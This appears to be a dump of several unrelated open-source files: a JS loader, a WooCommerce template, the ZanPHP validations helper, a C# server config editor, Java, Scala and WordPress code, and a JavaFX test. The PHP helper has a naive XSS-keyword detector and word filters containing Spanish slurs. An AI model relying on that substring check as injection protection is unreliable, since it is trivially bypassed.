if (!isNull(loc) && TBI.Loader.completed.indexOf(id) == -1) TBI.Loader.completed.push(id);
if (isNull(loc)) var message = id;
else switch (status) {
case TBI.Loader.ERR: var message = isNull(TBI.Loader.jobs[loc].error)?
id+" failed":TBI.Loader.jobs[loc].error; break;
case TBI.Loader.TIMEOUT: var message = isNull(TBI.Loader.jobs[loc].timeout)?
id+" timed out":TBI.Loader.jobs[loc].timeout; break;
case TBI.Loader.DONE: var message = isNull(TBI.Loader.jobs[loc].done)?
id+" loaded":TBI.Loader.jobs[loc].done; break;
default: var message = id;
}
TBI.Loader.event(message);
},
event: function (message, important) {
TBI.Loader.log.push({time:new Date().getTime() - testtime,message:message});
if (TBI.Loader.debug || important)
console.log("["+(new Date().getTime() - testtime)+"ms] "+message);
}
}
};
$(document).on("pageload", function () {
TBI.Loader.event("Page loaded", true);
TBI.Nav.check();
});
$(function () {
TBI.Loader.event("Ready", true);
TBI.Loader.jobs.push({
func: TBI.Includes.getIndex,
id: "HTMLIncIndex",
dependencies: [],
conditions: [],
done: "HTMLIncludes manifest loaded"
});
TBI.Loader.jobs.push({
func: TBI.Includes.get,
id: "HTMLIncludes",
dependencies: ["HTMLIncIndex"],
conditions: []
});
TBI.Loader.init();
TBI.Util.requestManager();
TBI.Util.updateUI();
});
Array.prototype.forEach = Array.prototype.forEach || function (func) {
for (var i=0;i<this.length;i++) func(this[i], i, this);
}
Array.prototype.indexOf = Array.prototype.indexOf || function (item) {
for (var i=0;i<this.length;i++) if (this[i] == item) return i;
return -1;
}
Array.prototype.equals = Array.prototype.equals || function (arr2) {
if (!(arr2 instanceof Array) || arr2.length != this.length) return false;
for (var i=0;i<this.length;i++) if (this[i] != arr2[i]) return false;
return true;
}
String.prototype.replaceAll = String.prototype.replaceAll || function (toReplace, replacement) {
var str = this, safety = 0;
while (str.search(toReplace) != -1 && safety++ < 255) str = str.replace(toReplace, replacement);
if (safety >= 255) console.error(".replaceAll() has reached an upper limit of 255 replacements. This might be due to the replacement not negating the regex toReplace.");
return str;
} | gpl-2.0 |
magician93/yusblog | wp-content/themes/wp-pravda/woocommerce/content-product.php | 4632 | <?php
/**
* The template for displaying product content within loops.
*
* Override this template by copying it to yourtheme/woocommerce/content-product.php
*
* @author WooThemes
* @package WooCommerce/Templates
* @version 1.6.4
*/
if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
global $product, $woocommerce_loop, $ct_data, $post;
// Store loop count we're currently on
if ( empty( $woocommerce_loop['loop'] ) )
$woocommerce_loop['loop'] = 0;
// Store column count for displaying the grid
if ( empty( $woocommerce_loop['columns'] ) )
$woocommerce_loop['columns'] = apply_filters( 'loop_shop_columns', 4 );
if ( isset($ct_data['ct_shop_columns']) ) $shop_posts_per_row = $ct_data['ct_shop_columns'];
$woocommerce_loop['columns'] = $shop_posts_per_row;
// Ensure visibility
if ( ! $product || ! $product->is_visible() )
return;
// Increase loop count
$woocommerce_loop['loop']++;
// Extra post classes
$classes = array();
if ( 0 == ( $woocommerce_loop['loop'] - 1 ) % $woocommerce_loop['columns'] || 1 == $woocommerce_loop['columns'] )
$classes[] = 'first product-box';
if ( 0 == $woocommerce_loop['loop'] % $woocommerce_loop['columns'] )
$classes[] = 'last product-box';
?>
<li <?php post_class ($classes); ?> >
<div class="product-block">
<header class="entry-header shop-header clearfix">
<h1 class="entry-title">
<a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'View product %s', 'color-theme-framework' ), the_title_attribute( 'echo=0' ) ) ); ?>"><?php the_title(); ?></a>
</h1>
<?php if ($product->is_on_sale()) : ?>
<?php $onsale_bg = $ct_data['ct_shop_onsale_color']; ?>
<span class="on-sale" style="background: <?php echo $onsale_bg; ?>">
<?php echo apply_filters('woocommerce_sale_flash', '<span class="onsale">'.__( 'Sale!', 'color-theme-framework' ).'</span>', $post, $product); ?>
</span> <!-- /on-sale -->
<?php endif; ?>
</header> <!-- /entry-header -->
<?php
/**
* woocommerce_after_shop_loop_item_title hook
*
* @hooked woocommerce_template_loop_price - 10
*/
do_action( 'woocommerce_after_shop_loop_item_title' );
?>
<?php do_action( 'woocommerce_before_shop_loop_item' ); ?>
<div class="entry-thumb">
<?php
echo '<div class="product-added">';
echo '<i class="icon-check"></i>';
echo '</div>';
?>
<a href="<?php the_permalink(); ?>" class="product-images">
<?php
/**
* woocommerce_before_shop_loop_item_title hook
*
* @hooked woocommerce_show_product_loop_sale_flash - 10
* @hooked woocommerce_template_loop_product_thumbnail - 10
*/
do_action( 'woocommerce_before_shop_loop_item_title' );
?>
</a>
<?php $outofstock_bg = $ct_data['ct_shop_outofstock_color']; ?>
<?php if ( !$product->is_in_stock() ) : ?>
<span class="ct-out-of-stock" style="background: <?php echo $outofstock_bg; ?>">
<?php _e( 'Out of Stock' , 'color-theme-framework' ); ?>
</span> <!-- /put-of-stock -->
<?php endif; ?>
</div> <!-- /entry-thumb -->
<?php ct_get_shop_product_excerpt(); ?>
<footer class="entry-meta clearfix">
<div class="shopping-cart-block">
<i class="icon icon-shopping-cart"></i>
<div class="clear"></div>
<?php do_action( 'woocommerce_after_shop_loop_item' ); ?>
</div>
<div class="right-side">
<span class="meta-review">
<?php if ( get_option('woocommerce_enable_review_rating') == 'yes' ) : ?>
<?php
$count = $product->get_rating_count();
if ( $count > 0 ) {
echo '<div class="product-rating">';
$average = $product->get_average_rating();
echo '<div itemprop="aggregateRating" itemscope itemtype="http://schema.org/AggregateRating">';
echo '<div class="star-rating" title="'.sprintf(__( 'Rated %s out of 5', 'woocommerce' ), $average ).'"><span style="width:'.( ( $average / 5 ) * 100 ) . '%"></span></div>';
echo '</div>';
echo '</div> <!-- /product-rating -->';
} ?>
<?php endif; ?>
</span> <!-- /meta-review -->
<div class="clear"></div>
<span class="ct-meta-category" title="<?php _e('Category','color-theme-framework'); ?>">
<i class="icon-tag"></i>
<?php echo $product->get_categories( ', ', '<span class="posted_in" title="View all products from this category">' . _n( '', '', sizeof( get_the_terms( $post->ID, 'product_cat' ) ), 'color-theme-framework' ) . ' ', '</span>' ); ?>
</span><!-- .meta-category -->
</div> <!-- /right-side -->
</footer>
</div><!-- .product-block -->
</li><!-- .product-box --> | gpl-2.0 |
pokaxperia/emus-itdp | api/zan/helpers/validations.php | 4736 | <?php
/**
* ZanPHP
*
* An open source agile and rapid development framework for PHP 5
*
* @package ZanPHP
* @author MilkZoft Developer Team
* @copyright Copyright (c) 2011, MilkZoft, Inc.
* @license http://www.zanphp.com/documentation/en/license/
* @link http://www.zanphp.com
* @version 1.0
*/
/**
* Access from index.php:
*/
if(!defined("_access")) {
die("Error: You don't have permission to access here...");
}
/**
* Validations Helper
*
*
*
* @package ZanPHP
* @subpackage core
* @category helpers
* @author MilkZoft Developer Team
* @link http://www.zanphp.com/documentation/en/helpers/validations_helper
*/
function is($var = NULL, $value = NULL) {
return (isset($var) and $var === $value) ? TRUE : FALSE;
}
function isName($name) {
if(strlen($name) < 7) {
return FALSE;
}
$parts = explode(" ", $name);
$count = count($parts);
if($count > 1) {
for($i = 0; $i <= $count; $i++) {
if(isset($parts[$i]) and strlen($parts[$i]) > 25) {
return FALSE;
}
}
} else {
return FALSE;
}
return TRUE;
}
function isEmail($email) {
return (filter_var($email, FILTER_VALIDATE_EMAIL)) ? TRUE : FALSE;
}
function isImage($image) {
return (getimagesize($image)) ? TRUE : FALSE;
}
function isInjection($text, $count = 1) {
if(is_string($text)) {
$text = html_entity_decode($text);
if(substr_count($text, "scriptalert") >= $count) {
return TRUE;
} elseif(substr_count($text, ";/alert") >= $count) {
return TRUE;
} elseif(substr_count($text, "<script") >= $count) {
return TRUE;
} elseif(substr_count($text, "<iframe") >= $count) {
return TRUE;
} elseif(substr_count($text, "<img") >= $count) {
return TRUE;
}
}
return FALSE;
}
function isIP($IP) {
return filter_var($IP, FILTER_VALIDATE_IP) ? TRUE : FALSE;
}
function isSPAM($string, $max = 1) {
$words = array(
"http", "www", ".com", ".mx", ".org", ".net", ".co.uk", ".jp", ".ch", ".info", ".me", ".mobi", ".us", ".biz", ".ca", ".ws", ".ag",
".com.co", ".net.co", ".com.ag", ".net.ag", ".it", ".fr", ".tv", ".am", ".asia", ".at", ".be", ".cc", ".de", ".es", ".com.es", ".eu",
".fm", ".in", ".tk", ".com.mx", ".nl", ".nu", ".tw", ".vg", "sex", "porn", "fuck", "buy", "free", "dating", "viagra", "money", "dollars",
"payment", "website", "games", "toys", "poker", "cheap"
);
$count = 0;
$string = strtolower($string);
if(is_array($words)) {
foreach($words as $word) {
$count += substr_count($string, $word);
}
}
return ($count >= $max) ? TRUE : FALSE;
}
function isVulgar($string, $max = 1) {
$words = array(
"puto", "puta", "perra", "tonto", "tonta", "pene", "pito", "chinga", "tu madre", "hijo de puta", "verga", "pendejo", "baboso",
"estupido", "idiota", "joto", "gay", "maricon", "marica", "chingar", "jodete", "pinche", "panocha", "vagina", "zorra", "fuck",
"chingada", "cojer", "imbecil", "pendeja", "piruja", "puerca", "polla", "capullo", "gilipollas", "cabron", "cagada", "cago", "cagar",
"mierda", "marrano", "porno", "conche", "tu puta madre", "putas", "putos", "pendejas", "pendejos", "pendejadas", "mamadas", "lesbianas",
"coño", "huevon", "sudaca", "fucker", "ramera", "fuck", "bitch"
);
$count = 0;
$string = strtolower($string);
if(is_array($words)) {
foreach($words as $word) {
$count += substr_count($string, $word);
}
}
return ($count >= $max) ? TRUE : FALSE;
}
function isNumber($number) {
$number = (int) $number;
if($number > 0) {
return TRUE;
}
return FALSE;
}
function isMethod($method, $Controller) {
try {
$Reflection = new ReflectionMethod($Controller, $method);
return TRUE;
} catch (Exception $e) {
return FALSE;
}
}
function isController($controller, $application = NULL, $principal = FALSE) {
if($application === TRUE) {
if(file_exists($controller)) {
return TRUE;
}
} else {
if($principal) {
if($controller === $application) {
$file = "www/applications/$application/controllers/$controller.php";
if(file_exists($file)) {
return TRUE;
}
} else {
return FALSE;
}
}
$file = "www/applications/$application/controllers/$controller.php";
if(file_exists($file)) {
return TRUE;
}
}
return FALSE;
}
function isLeapYear($year) {
return ((((int) $year % 4 === 0) and ((int) $year % 100 !== 0 ) or ((int) $year % 400 === 0)));
}
function isDay($day) {
return (strlen($day) === 2 and $day > 0 and $day <= 31) ? TRUE : FALSE;
}
function isMonth($month) {
return (strlen($month) === 2 and $month > 0 and $month <= 12) ? TRUE : FALSE;
}
function isYear($year) {
return (strlen($year) === 4 and $year >= 1950 and $year <= date("Y")) ? TRUE : FALSE;
} | gpl-2.0 |
redfoxyamato/Simple7DTDServerManager | Simple7DTDServer/Config Editor.cs | 18238 | using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Xml;
namespace Simple7DTDServer
{
public partial class Config_Editor : Form
{
string lang,lang_path,conf_path,current_version;
List<Information> infos = new List<Information>();
List<Setting> settings = new List<Setting>();
public Config_Editor(string language, string language_path, string config_path,string currentVersion)
{
InitializeComponent();
lang = language;
lang_path = language_path;
conf_path = config_path;
current_version = currentVersion;
parseSettingFromFile();
}
#region Form_Events
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
{
if(comboBox1.SelectedIndex < 0)
{
return;
}
parseFromFile();
removeDuplicate();
{
foreach(Information i in infos)
{
Console.WriteLine("Info {0}:{1}:{2}", i.id, i.type, i.desc);
}
}
for (int i = 0; i < settings.Count; i++)
{
if (settings[i].id.Trim() == "")
{
settings.RemoveAt(i);
}
}
for (int i = 0; i < infos.Count; i++)
{
if (infos[i].id.Trim() == "")
{
infos.RemoveAt(i);
}
}
if(settings.Count != infos.Count)
{
Console.WriteLine("settings:{0}", settings.Count);
Console.WriteLine("infos:{0}", infos.Count);
listBox1.Items.Clear();
infos = new List<Information>();
MessageBox.Show(Form1.translateTo("invalidCfg"));
listBox1.SelectedIndex = -1;
}
}
private void Config_Editor_Load(object sender, EventArgs e)
{
string[] files = Directory.GetFiles(lang_path, string.Format("*_{0}.xml",lang));
foreach(string file in files)
{
comboBox1.Items.Add(Path.GetFileName(file).Split(new char[] { '_' })[0]);
}
for(int i = 0;i < comboBox1.Items.Count;i++)
{
if(comboBox1.Items[i].ToString() == current_version)
{
comboBox1.SelectedIndex = i;
}
}
}
private void listBox1_SelectedIndexChanged(object sender, EventArgs e)
{
removeDuplicate();
comboBox2.Items.Clear();
int index = listBox1.SelectedIndex;
if (index < 0)
{
return;
}
description.Text = infos[index].desc.Replace("\\n", "\r\n");
Type type = infos[index].type;
string value = settings[index].value;
Reset();
applyType(listBox1.Items[index].ToString(), type, value);
}
private void checkBox1_CheckedChanged(object sender, EventArgs e)
{
checkBox1.Text = checkBox1.Checked.ToString().ToLower();
settings[listBox1.SelectedIndex].value = checkBox1.Text;
}
private void cancel_Click(object sender, EventArgs e)
{
Close();
}
private void apply_Click(object sender, EventArgs e)
{
if (infos.Count > 0 && comboBox1.SelectedItem != null)
{
string str = string.Format("<?xml version={0}1.0{0}?>\r\n\t<ServerSettings>\n", "\"");
for (int i = 0; i < settings.Count - 1; i++)
{
Setting set = settings[i];
Information info = infos[i];
str += string.Format("\t\t<property name={0}{1}{0} value={0}{2}{0} /> <!-- {3} -->\n", "\"", set.id, set.value, getOriginalDesc(set.id).Replace("\\n", " "));
}
{
int index = settings.Count - 1;
if (settings[index].value != "false" && settings[index].value != "")
{
str += string.Format("\t\t<property name={0}SaveGameFolder{0} value={0}{1}{0} /> <!-- {2} -->\n", "\"", settings[index].value, getOriginalDesc("SaveGameFolder").Replace("\\n", " "));
}
else
{
str += string.Format("\t\t<!--property name={0}SaveGameFolder{0} value={0}absolute path{0} /--> <!-- {1} -->\n", "\"", getOriginalDesc("SaveGameFolder").Replace("\\n", " "));
}
}
str += "</ServerSettings>";
File.WriteAllText(conf_path, str);
((Form1)Owner).SetCurrentVersion(comboBox1.SelectedItem.ToString());
}
Close();
}
private void textBox1_TextChanged(object sender, EventArgs e)
{
if (infos[listBox1.SelectedIndex].type == Type.STRING)
{
settings[listBox1.SelectedIndex].value = textBox1.Text;
}
}
private void comboBox2_SelectedIndexChanged(object sender, EventArgs e)
{
if (infos[listBox1.SelectedIndex].type == Type.SELECT)
{
settings[listBox1.SelectedIndex].value = comboBox2.SelectedItem.ToString();
}
}
private void numericUpDown1_ValueChanged(object sender, EventArgs e)
{
if (infos[listBox1.SelectedIndex].type == Type.INT)
{
settings[listBox1.SelectedIndex].value = numericUpDown1.Value.ToString();
}
}
#endregion
#region config
private string getOriginalDesc(string name)
{
XmlTextReader reader = null;
try
{
string p = lang_path + string.Format("{0}_{1}.xml", comboBox1.SelectedItem, "English");
reader = new XmlTextReader(new StreamReader(p, Encoding.UTF8));
while (reader.Read())
{
if (reader.NodeType == XmlNodeType.Element)
{
if (reader.MoveToFirstAttribute())
{
string id = reader.Value;
if (name != id)
{
continue;
}
if (reader.MoveToNextAttribute())
{
Type type = getType(reader.Value);
if (type == Type.UNKNOWN)
{
continue;
}
if (reader.MoveToNextAttribute())
{
return reader.Value;
}
}
}
}
}
}
catch { }
finally
{
if (reader != null)
{
reader.Close();
}
}
return "";
}
private void parseFromFile()
{
XmlTextReader reader = null;
try
{
string p = lang_path + string.Format("{0}_{1}.xml", comboBox1.SelectedItem, lang);
if(!File.Exists(p))
{
Console.WriteLine("There is no info:{0}",p);
return;
}
reader = new XmlTextReader(new StreamReader(p, Encoding.UTF8));
while (reader.Read())
{
if (reader.NodeType == XmlNodeType.Element)
{
if (reader.MoveToFirstAttribute())
{
string id = reader.Value;
if (reader.MoveToNextAttribute())
{
Type type = getType(reader.Value);
if (type == Type.UNKNOWN)
{
continue;
}
if (reader.MoveToNextAttribute())
{
infos.Add(new Information(id, type, reader.Value));
}
}
}
}
}
if (!isThereSavePath())
{
infos.Add(new Information("SaveGameFolder", Type.STRING, ""));
}
listBox1.Items.Clear();
for (int i = 0; i < infos.Count; i++)
{
listBox1.Items.Add(infos[i].id);
}
}
catch (XmlException ex)
{
Console.WriteLine(ex.StackTrace);
}
finally
{
if (reader != null)
{
reader.Close();
}
}
}
private Limit getLimit(string id)
{
XmlTextReader reader = null;
try
{
string p = lang_path + "limits.xml";
reader = new XmlTextReader(new StreamReader(p, Encoding.UTF8));
while (reader.Read())
{
if (reader.NodeType == XmlNodeType.Element)
{
if (reader.MoveToFirstAttribute())
{
if (reader.Value == id && reader.MoveToNextAttribute())
{
string low = reader.Value;
if (reader.MoveToNextAttribute())
{
return new Limit(int.Parse(low), int.Parse(reader.Value));
}
}
}
}
}
}
catch (XmlException ex)
{
Console.WriteLine(ex.Message);
}
catch (FormatException ex)
{
Console.WriteLine(ex.Message);
}
finally
{
if (reader != null)
{
reader.Close();
}
}
return null;
}
private void parseSettingFromFile()
{
string p = conf_path;
XmlTextReader reader = null;
try
{
FileStream fs = new FileStream(p, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
reader = new XmlTextReader(new StreamReader(fs));
while (reader.Read())
{
if (reader.NodeType == XmlNodeType.Element)
{
if (reader.MoveToFirstAttribute())
{
string id = reader.Value;
if (reader.MoveToNextAttribute())
{
settings.Add(new Setting(id, reader.Value));
}
}
}
}
if (!isThereSavePath())
{
settings.Add(new Setting("SaveGameFolder", ""));
}
}
catch (XmlException ex)
{
Console.WriteLine(ex.Message);
}
finally
{
if (reader != null)
{
reader.Close();
}
}
}
private string[] parseSelectiveFromFile(string name)
{
XmlTextReader reader = null;
try
{
string p = lang_path + "selection.xml";
reader = new XmlTextReader(new StreamReader(p, Encoding.UTF8));
while (reader.Read())
{
if (reader.NodeType == XmlNodeType.Element)
{
if (reader.MoveToFirstAttribute())
{
string id = reader.Value;
if (id == name && reader.MoveToNextAttribute())
{
return reader.Value.Split(",".ToCharArray());
}
}
}
}
}
catch (XmlException ex)
{
Console.WriteLine(ex.Message);
}
finally
{
if (reader != null)
{
reader.Close();
}
}
return new string[] { };
}
#endregion
#region util
private bool isBoolean(string str)
{
return str == "true" || str == "false";
}
private void selectFromName(ComboBox box, string name)
{
if (!box.Items.Contains(name))
{
return;
}
for (int i = 0; i < box.Items.Count; i++)
{
if (box.Items[i].ToString() == name)
{
box.SelectedIndex = i;
}
}
}
private void applyType(string id, Type type, string value)
{
checkBox1.Enabled = false;
textBox1.Enabled = false;
numericUpDown1.Enabled = false;
comboBox2.Enabled = false;
switch (type)
{
case Type.INT:
{
numericUpDown1.Enabled = true;
Limit l = getLimit(id);
if (l != null)
{
numericUpDown1.Minimum = l.lower;
numericUpDown1.Maximum = l.upper;
}
int i = int.Parse(value);
if (i > numericUpDown1.Maximum)
{
i = (int)numericUpDown1.Maximum;
}
else if (i < numericUpDown1.Minimum)
{
i = (int)numericUpDown1.Minimum;
}
numericUpDown1.Value = i;
return;
}
case Type.BOOL:
{
checkBox1.Enabled = true;
if (isBoolean(value))
{
checkBox1.Checked = bool.Parse(value);
}
return;
}
case Type.STRING:
{
textBox1.Enabled = true;
if (value != "false")
{
textBox1.Text = value;
}
return;
}
case Type.SELECT:
{
comboBox2.Enabled = true;
comboBox2.Items.AddRange(parseSelectiveFromFile(id));
selectFromName(comboBox2, value);
return;
}
default: return;
}
}
private Type getType(string str)
{
switch (str)
{
case "int": return Type.INT;
case "bool": return Type.BOOL;
case "string": return Type.STRING;
case "select": return Type.SELECT;
default: return Type.UNKNOWN;
}
}
private void removeDuplicate()
{
for (int i = settings.Count; i < listBox1.Items.Count; i++)
{
listBox1.Items.RemoveAt(i);
}
}
private bool isThereSavePath()
{
Setting set = getSettingFromID("SaveGameFolder");
return set != null;
}
private Setting getSettingFromID(string id)
{
foreach (Setting set in settings)
{
if (set.id == id)
{
return set;
}
}
return null;
}
private void Reset()
{
textBox1.Text = "";
checkBox1.Checked = false;
numericUpDown1.Minimum = 0;
numericUpDown1.Maximum = 1000;
numericUpDown1.Value = 0;
}
#endregion
}
enum Type
{
INT,
BOOL,
STRING,
SELECT,
UNKNOWN
};
class Information
{
public string id, desc;
public Type type;
public Information(string id, Type type, string desc)
{
this.type = type;
this.id = id;
this.desc = desc;
}
}
class Setting
{
public string id, value;
public Setting(string id, string value)
{
this.id = id;
this.value = value;
}
}
class Limit
{
public int lower, upper;
public Limit(int low,int up)
{
lower = low;
upper = up;
}
}
}
| gpl-2.0 |
markus23/RedstoneMicrocircuits | src/main/scala/net/anti344/rcircuits/proxy/ClientProxy.scala | 609 | package net.anti344.rcircuits.proxy
import cpw.mods.fml.client.registry.ClientRegistry
import net.anti344.rcircuits.tile.TileEntityCircuitBase
import net.anti344.rcircuits.client.render.{CircuitItemRender, CircuitBaseRender}
import net.minecraftforge.client.MinecraftForgeClient
import net.anti344.rcircuits.RedstoneMicrocircuits
class ClientProxy extends CommonProxy{
override def doClientStuff() = {
ClientRegistry.bindTileEntitySpecialRenderer(classOf[TileEntityCircuitBase], CircuitBaseRender)
MinecraftForgeClient.registerItemRenderer(RedstoneMicrocircuits.circuit, CircuitItemRender)
}
}
| gpl-2.0 |
cat9/FrameLite | src/com/miku/framelite/utils/HttpUtils.java | 1483 | package com.miku.framelite.utils;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.nio.charset.CharsetEncoder;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import org.apache.http.NameValuePair;
import org.apache.http.message.BasicNameValuePair;
public class HttpUtils {
/**
* 将{@code Map<String, String>}转换为{@code List<NameValuePair>}
* @param postParams
* @return
*/
public static List<NameValuePair> buildPostParams(Map<String, String> postParams) {
List<NameValuePair> result = new ArrayList<NameValuePair>(postParams.size());
for (String key : postParams.keySet()) {
result.add(new BasicNameValuePair(key, postParams.get(key)));
}
return result;
}
/**
* 将{@code Map<String, String>}转换为{@code String}<br/>
* 如{@code username=abc&password=123}
* @param getParams
* @return
*/
public static String buildGetParams(Map<String, String> getParams){
StringBuilder sb=new StringBuilder();
for (String key : getParams.keySet()) {
try {
sb.append(key).append("=").append(URLEncoder.encode(getParams.get(key),"UTF-8") ).append('&');
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
if(sb.charAt(sb.length()-1)=='&'){
sb.deleteCharAt(sb.length()-1);
}
return sb.toString();
}
}
| gpl-2.0 |
amankatoch/wp-plugin | wp-content/plugins/displetreader-wordpress-plugin/instance/class-displet-rets-idx-residentials.php | 2586 | <?php
class DispletRetsIdxResidentials extends DispletRetsIdxResidentialsController {
public function __construct( $args = array() ) {
$this->parse_args( $args );
$this->prep_query();
}
public function get_count() {
$this->query_residentials( 'count' );
return $this->_residentials;
}
public function get_query_args() {
return $this->_query_args;
}
public function get_residentials() {
if ( $this->_model['get_residentials'] ) {
$this->query_residentials();
$this->normalize_residentials();
$residentials = $this->_residentials;
}
else {
$residentials = array();
}
if ( ($this->_model['get_listings_by_status'] || $this->_model['get_stats_by_status'] ) && !empty( $this->_model['statuses'] ) && is_array( $this->_model['statuses'] ) ) {
$residentials_by_status = array();
if ( ! $this->_model['get_listings_by_status'] && $this->_model['get_stats_by_status'] ) {
$this->_model['num_listings'] = 1;
}
foreach ( $this->_model['statuses'] as $status ) {
$this->_query_args['status'] = $status;
$this->query_residentials();
$this->normalize_residentials();
$this->_residentials['status'] = $status;
$residentials_by_status[] = $this->_residentials;
}
if ( $this->_model['get_listings_by_status'] ) {
$residentials['listings_by_status'] = $residentials_by_status;
}
if ( $this->_model['get_stats_by_status'] ) {
$residentials['stats_by_status'] = $residentials_by_status;
}
}
return $residentials;
}
private function parse_args( $args ) {
$this->_model = wp_parse_args( $args, array(
'data_from' => 'api',
'direction' => false,
'extended_stats' => false,
'get_listings_by_status' => false,
'get_residentials' => true,
'get_stats_by_status' => false,
'is_displet_api' => !empty( self::$_options['displet_app_key'] ) ? true : false,
'is_mobile_page' => false,
'is_partial_address_page' => false,
'is_property_details_page' => false,
'is_search_results_page' => false,
'is_shortcode' => false,
'is_widget' => false,
'layout' => !empty( self::$_options['listings_layout'] ) ? self::$_options['listings_layout'] : 'default',
'num_listings' => !empty( self::$_options['listings_per_page'] ) ? intval( self::$_options['listings_per_page'] ) : 10,
'page' => false,
'page_urls' => false,
'return_fields' => $this->get_return_fields(),
'sort_by' => false,
'statuses' => false,
) );
}
public function swap_id_for_sysid() {
$this->_query_args['sysid'] = $this->_query_args['id'];
unset( $this->_query_args['id'] );
}
}
?> | gpl-2.0 |
broue004/amido-perf-test | wp-content/themes/amido/tmpl-company.php | 3332 | <?php
/*
* Template Name: Company
*/
get_header(); ?>
<section class="intro">
<div class="holder">
<h1><span><?php the_title() ?></span></h1>
<div class="btn-holder">
<a href="#" class="btn-plus">Plus</a>
</div>
</div>
</section>
<div id="main">
<div class="slideshow-area">
<div class="holder">
<header class="intro-text">
<h2><?php the_field('company.timeline.title') ?></h2>
<p><?php
$val = get_field('company.timeline.subtitle');
$val = str_replace(array('{Y}', '{y}'), count(get_field('company.timeline')), $val);
echo $val;
?></p>
</header>
<div class="business-info">
<div class="mask">
<div class="slideset">
<?php
if( have_rows( 'company.timeline' ) ):
while( have_rows( 'company.timeline' ) ): the_row(); ?>
<div class="slide">
<div class="title-area">
<div class="title-holder"><em class="year"><?php the_sub_field('company.timeline.year') ?></em><?php the_sub_field('company.timeline.subtitle') ?></div>
</div>
<div class="post">
<a href="#" class="photo">
<?php echo wp_get_attachment_image(get_sub_field('company.timeline.image'), 'timeline-year-photo') ?>
<span class="hover"> </span>
</a>
<div class="description">
<?php the_sub_field('company.timeline.description') ?>
</div>
</div>
</div>
<?php endwhile;
endif;
?>
</div>
</div>
<div class="pagination">
<ul>
<li class="active"><a href="#">1</a></li>
<li><a href="#">2</a></li>
<li><a href="#">3</a></li>
<li><a href="#">4</a></li>
<li><a href="#">5</a></li>
<li><a href="#">6</a></li>
<li><a href="#">7</a></li>
<li><a href="#">8</a></li>
<li><a href="#">9</a></li>
<li><a href="#">10</a></li>
<li><a href="#">11</a></li>
<li><a href="#">12</a></li>
</ul>
</div>
</div>
</div>
</div>
<?php $do_query = true;
include('includes/inc-our-promises.php');
include('includes/inc-senior-team.php');
include('includes/inc-contact-summary.php'); ?>
</div>
<?php
get_footer(); | gpl-2.0 |
maiklos-mirrors/jfx78 | modules/controls/src/test/java/javafx/scene/control/SplitPaneTest.java | 49000 | /*
* Copyright (c) 2010, 2013, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package javafx.scene.control;
import javafx.css.CssMetaData;
import static com.sun.javafx.scene.control.infrastructure.ControlTestUtils.*;
import com.sun.javafx.pgstub.StubToolkit;
import com.sun.javafx.scene.control.skin.SplitPaneSkin;
import com.sun.javafx.tk.Toolkit;
import javafx.application.Platform;
import javafx.beans.property.DoubleProperty;
import javafx.beans.property.ObjectProperty;
import javafx.beans.property.SimpleDoubleProperty;
import javafx.beans.property.SimpleObjectProperty;
import javafx.css.StyleableProperty;
import javafx.geometry.Orientation;
import javafx.scene.Scene;
import javafx.scene.layout.StackPane;
import javafx.stage.Stage;
import static org.junit.Assert.*;
import org.junit.Before;
import org.junit.Ignore;
import org.junit.Test;
/**
*
* @author srikalyc
*/
public class SplitPaneTest {
private SplitPane splitPane;//Empty string
private SplitPane.Divider divider1;
private SplitPane.Divider divider2;
private Toolkit tk;
private Scene scene;
private Stage stage;
private StackPane root;
@Before public void setup() {
tk = (StubToolkit)Toolkit.getToolkit();//This step is not needed (Just to make sure StubToolkit is loaded into VM)
splitPane = new SplitPane();
splitPane.setSkin(new SplitPaneSkin(splitPane));
divider1 = new SplitPane.Divider();
divider2 = new SplitPane.Divider();
root = new StackPane();
scene = new Scene(root);
stage = new Stage();
stage.setScene(scene);
}
/*********************************************************************
* Helper methods (NOTE TESTS) *
********************************************************************/
private void add2NodesToSplitPane() {
splitPane.getItems().add(new Button("Button One"));
splitPane.getItems().add(new Button("Button Two"));
}
private void add3NodesToSplitPane() {
add2NodesToSplitPane();
splitPane.getItems().add(new Button("Button Three"));
}
private void add4NodesToSplitPane() {
add3NodesToSplitPane();
splitPane.getItems().add(new Button("Button Four"));
}
private void show() {
stage.show();
}
private double convertDividerPostionToAbsolutePostion(double pos, double edge) {
return (Math.round(pos * edge)) - 3; // 3 is half the divider width.
}
/*********************************************************************
* Tests for default values *
********************************************************************/
@Test public void defaultConstructorShouldSetStyleClassTo_splitpane() {
assertStyleClassContains(splitPane, "split-pane");
}
@Test public void defaultFocusTraversibleIsFalse() {
assertFalse(splitPane.isFocusTraversable());
}
@Test public void defaultOrientation() {
assertSame(splitPane.getOrientation(), Orientation.HORIZONTAL);
}
@Test public void defaultDividerPosition() {
assertEquals(divider1.getPosition(), 0.5, 0.0);
}
@Test public void defaultPositionOf_N_DividersAddedToSplitPaneWhenNewNodeAreAdded() {
add4NodesToSplitPane();
assertEquals(splitPane.getDividers().get(0).getPosition(), 0.5, 0.0);
assertEquals(splitPane.getDividers().get(1).getPosition(), 0.5, 0.0);
